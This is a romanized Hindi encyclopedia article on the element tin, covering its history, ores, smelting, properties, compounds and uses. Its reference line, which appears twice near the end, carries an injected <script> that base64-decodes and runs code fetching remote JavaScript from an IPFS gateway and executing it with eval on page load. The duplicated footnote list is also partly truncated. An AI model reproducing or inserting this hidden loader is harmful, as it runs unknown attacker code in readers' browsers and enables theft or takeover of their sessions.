टिन

REDIRECTsaancha:Infobox element

tin (aangrezi:Tin) avart sarani ka ek tatv hai, jisaka sthan chaudahavean samooh mean haian. ise 'vang' (trapu) ya 'raanga' bhi kaha jata hai. ti ka pratik Sn, paramanu kramaank 50, paramanu bhar 118.710, galanaank 231.93° sean., kvathanaank 2602° sean. hota hai. isaka ilektr aaunik vinyas 1s² 2s² 2p⁶ 3s² 3p⁶ 3d¹⁰ 4s² 4p⁶ 4d¹⁰ 5s² 5p² hota hai. isake 10 samasthanik 112, 114, 115, 116, 117, 118, 119, 120, 122, 124 hote hai. inake atirikt char any rediyoaiktiv samasthanik (dravyaman sankhya 113, 121, 123 aur 125) bhi nirmit hue haian.

itihas

tin ki mishr dhatu ka upayog aj se 5,000 varsh poorv bhi hota tha. is dhatu ki bani sabase prachin botal misr sthit ek samadhi mean paee gee, jo lagabhag eesa se 1,500 varsh poorvakal ki hai. tin ke ayask misr mean nahian milate. is karan vahaan yah dhatu avashy hi bahar se ayi hogi. eesa se lagabhag 300 varsh poorv ianglaiand mean tin ke dhatukarm ke namoone milate haian. yahaan tin ki khanean thian. us samay yah dhatu rom jati thi. dakshini amarika ke adivasiyoan ko tin ki mishr dhatuoan ka jnan tha.

bharat mean siandhu ghati ki sabhyata ke kal ke prapt dhatu padarthoan mean tin paya gaya hai. aisa anuman hai ki us samay tin eeran se ata tha. eesa se paanch shatabdi poorv ayurved kal mean sushrut mean tin tatha vagbhatt ke 'ashtaangahridayamh' mean bhi isake yaugik ka varnan aya hai. 'rasaratnasamuchchay' mean tin dhatu tatha vaig bhasm donoan ke gunoan ki vivechana ki gee hai.^[1]

prapti sthan

tin mukt avastha mean prapt nahian hai. prithvi ki satah par isaki matra lagabhag 40 gram prati tan hai. isake pramukh ayask haian- kaisiterait (SnO₂) aur salphaid. maleshiya, thailaiand, iandoneshiya, kaango, naijiriya tatha boliviya mean tin ki mukhy khanean haian.

dhatukarm

tin ke ayask mean pray: 1 se 5 pratishat tin aauksaid (SnO₂) upasthit rahata hai. is karan ise saandrit karana avashyak hai. uchch ghanattv tatha achuanbakiy gunoan ke dvara hi kaisiterait ka saandran karate haian. saandrit ayask ko koyale se mishrit kar paravartani^[2] athava vatya^[3] bhatthi mean rakhakar apachayan^[4] karane se tin dhatu prapt hoti hai. ashuddh tin ke vishuddh karane ki anek vidhiyaan haian.

gunadharm

tin safed rang ki komal tany^[5] dhatu hai. isake tar saralata se khianche ja sakate haian, parantu tin ki chadar mo dane par katakatane ki dhvani hoti hai, jise "tin ki chillahat" kahate haian. dhatu ke do apararoopi roopaantaran^[6] haian. samany avastha mean yah shvet rang ki dhatu hai, parantu yadi tin ko adhik kal tak 13° sean. tap se niche rakha jae, to yah bhurabhura evan bhoore rang ke choorn mean parivartit hokar tin ka doosara apararoop banata hai, jo nimn tap par sthayi hai.

samany tap par tin vayu dvara prabhavit nahian hota, parantu uchch tap par us par aauksaid ki parat jam jati hai. shvet tap par tin vayu mean jalakar daiaauksaid (SnO₂) banata hai. yah tapt avastha mean pile rang ka aur samany tap par shvet rang ka padarth hai. tin tanu amloan mean dhire-dhire ghulakar tin++ (Sn++) yaugik banata hai aur haidrojan mukt karata hai. dhatu par saandr naitrik aml ki abhikriya dvara jalayukt stainik aauksaid athava metastainik aml^[7] banata hai. tin kshariy vilayan mean ghulakar stainet banata hai, jisake phalasvaroop haidrojan mukt ho jata hai.^[1]

yaugik

tin ke do prakar ke yaugik jnat haian-

'staiannas', jisamean tin ki sanyojakata 2 hai.
'stainik', jisamean tin ki sanyojakata 4 rahati hai.

isake do aauksaid, stainas aauksai (SnO) aur stainik aauksai (SnO₂) hote haian. gandhak ke sath tin ko garam karane se stainas salphaid (SnS) prapt hota hai. stainik salfaid (SnS₂) bhi banata hai.

helojan ke sath kriya

helojan ke sath tin stains hailaid aur stainik hailaid banata hai. tin ke kloraid rangabandhak ke roop mean resham rangane mean kam ate haian. yah naitrojan, haidrojan aur ph aausphoras ke sath bhi yaugik banata hai. isake naitret aur ph aausphet asthayi hote haian. klorostainik aml ka amoniyam lavan [( N H₄)₂ SnCl₆] resham rangane mean kam ata hai. tin anek upasahasanyojakata^[8] yaugik banata hai.

upayog

tin mulamma karane aur mishr dhatuoan ke nirman mean kam ata hai. lohe par tin se kalee karane par us par n muracha hi lagata hai aur n hi amloan ka jaldi asar p data hai. kaansa isaki mahattv ki mishradhatu hai. khady padarthoan ke dibboan mean tin ki kalee karane se ve jald akraant nahian hote. isake anek yaugik vastr udyog, rangaee, kaanch evan chini mitti ke patr ke udyogoan mean kam ate haian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 tin (hindi) bharatakhoj. abhigaman tithi: 16 joon, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ reverberatory
↑ blast
↑ reduction
↑ ductile
↑ allotropic modifications
↑ metastannie acid
↑ coordinate

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 ^1.2 tin (hindi) bharatakhoj. abhigaman tithi: 16 joon, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] reverberatory

[3] st

[4] reduction

[5] uctile

[6] tropic modifications

[7] tastannie acid

[8] rdinate

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

टिन

vishay soochi